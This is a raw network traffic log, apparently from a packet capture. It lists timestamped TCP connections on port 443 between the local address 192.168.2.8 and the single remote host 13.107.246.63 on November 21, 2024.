Nov 21, 2024 19:59:47.689872026 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.690092087 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.690109015 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.690150023 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.690157890 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.693278074 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.693326950 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.693409920 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.693666935 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.693689108 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.764774084 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.765368938 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.765394926 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.765911102 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.765918016 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.082266092 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.082365036 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.082496881 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.082789898 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.082844019 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.082876921 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.082894087 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.086561918 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.086622000 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.086730957 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.086946964 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.086962938 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.216394901 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.216480970 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.216567039 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.216959953 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.217005014 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.217045069 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.217061996 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.219954014 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.219986916 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:48.220077991 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.220222950 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:48.220237970 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.357655048 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.358448982 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.358484030 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.359005928 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.359011889 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.393213987 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.394092083 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.394124031 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.394629002 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.394637108 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.480542898 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.481348991 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.481376886 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.481873989 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.481878996 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.909066916 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.909198046 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.909274101 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.909502029 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.909522057 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.909533978 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.909539938 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.913569927 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.913629055 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.913734913 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.914295912 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.914321899 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.917382002 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.917453051 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.917516947 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.917659044 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.917678118 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.917690992 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.917697906 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.920485973 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.920541048 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:49.920629025 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.920784950 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:49.920800924 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.035550117 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.035630941 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.035744905 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.036048889 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.036065102 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.036076069 CET	49886	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.036079884 CET	443	49886	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.040070057 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.040118933 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.040215969 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.040364981 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.040383101 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.119906902 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.120559931 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.120603085 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.121067047 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.121078014 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.123399019 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.123934984 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.123956919 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.124443054 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.124449015 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.574104071 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.574173927 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.574261904 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.574568987 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.574587107 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.574596882 CET	49888	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.574604034 CET	443	49888	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.578212976 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.578252077 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.578336000 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.578519106 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.578533888 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.608254910 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.608339071 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.608417034 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.608619928 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.608642101 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.608654022 CET	49887	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.608659983 CET	443	49887	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.612178087 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.612215042 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:50.612484932 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.612484932 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:50.612519026 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.721946001 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.722589016 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.722615957 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.723128080 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.723133087 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.723635912 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.723947048 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.723983049 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.724328995 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.724335909 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.897120953 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.897854090 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.897875071 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:51.898382902 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:51.898394108 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.165549040 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.165641069 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.165720940 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.166038036 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.166065931 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.166080952 CET	49890	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.166085958 CET	443	49890	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.168185949 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.168345928 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.168417931 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.168457985 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.168476105 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.168487072 CET	49889	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.168493986 CET	443	49889	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.169929981 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.169965982 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.170038939 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.170200109 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.170212984 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.170489073 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.170523882 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.170649052 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.170730114 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.170743942 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.350802898 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.350872993 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.350930929 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.351166010 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.351191998 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.351210117 CET	49891	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.351218939 CET	443	49891	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.354227066 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.354260921 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.354372025 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.354571104 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.354576111 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.433280945 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.434024096 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.434058905 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.434519053 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.434525967 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.462325096 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.463006973 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.463031054 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.463638067 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.463644981 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.895241976 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.895320892 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.895368099 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.895733118 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.895756006 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.895768881 CET	49892	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.895776033 CET	443	49892	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.900552988 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.900593996 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.900831938 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.901020050 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.901026964 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.919440985 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.919517040 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.919565916 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.919791937 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.919791937 CET	49893	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.919811010 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.919821024 CET	443	49893	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.923655033 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.923697948 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:52.923767090 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.923968077 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:52.923974037 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.091694117 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.092372894 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.092396021 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.092904091 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.092911005 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.165674925 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.166344881 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.166367054 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.166894913 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.166903973 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.337707043 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.338498116 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.338525057 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.339066982 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.339078903 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.546372890 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.546444893 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.546814919 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.546876907 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.546876907 CET	49895	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.546890974 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.546902895 CET	443	49895	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.550859928 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.550908089 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.551053047 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.551322937 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.551335096 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.611287117 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.611452103 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.611613035 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.611917973 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.611948013 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.611963034 CET	49894	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.611968994 CET	443	49894	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.615114927 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.615164995 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.615252972 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.615515947 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.615531921 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.625735998 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.626313925 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.626336098 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.626825094 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.626831055 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.642900944 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.643703938 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.643755913 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.644243956 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.644258976 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.795002937 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.795089960 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.795222044 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.795479059 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.795479059 CET	49896	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.795521975 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.795546055 CET	443	49896	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.798403978 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.798449039 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:54.798548937 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.798677921 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:54.798688889 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.073303938 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.073419094 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.073565960 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.073800087 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.073832989 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.073848009 CET	49897	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.073854923 CET	443	49897	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.079530954 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.079617977 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.079718113 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.082581997 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.082607985 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.082619905 CET	49898	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.082628012 CET	443	49898	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.086234093 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.086272001 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.086333990 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.086601019 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.086616039 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.086946964 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.087002039 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:55.087064981 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.087177992 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:55.087194920 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.355145931 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.355906010 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.355927944 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.356432915 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.356437922 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.581082106 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.581834078 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.581847906 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.582329035 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.582334995 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.899152040 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.899348974 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.899432898 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.899530888 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.899549961 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.899560928 CET	49900	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.899565935 CET	443	49900	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.902551889 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.902599096 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.902676105 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.902822971 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.902832031 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.959383011 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.960299969 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.960335970 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:56.960787058 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:56.960793018 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.009386063 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.010045052 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.010073900 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.010555029 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.010560036 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.026685953 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.026741982 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.026824951 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.027093887 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.027106047 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.027116060 CET	49901	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.027121067 CET	443	49901	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.030438900 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.030517101 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.030606031 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.030747890 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.030766964 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.412054062 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.412226915 CET	443	49902	13.107.246.63	192.168.2.8
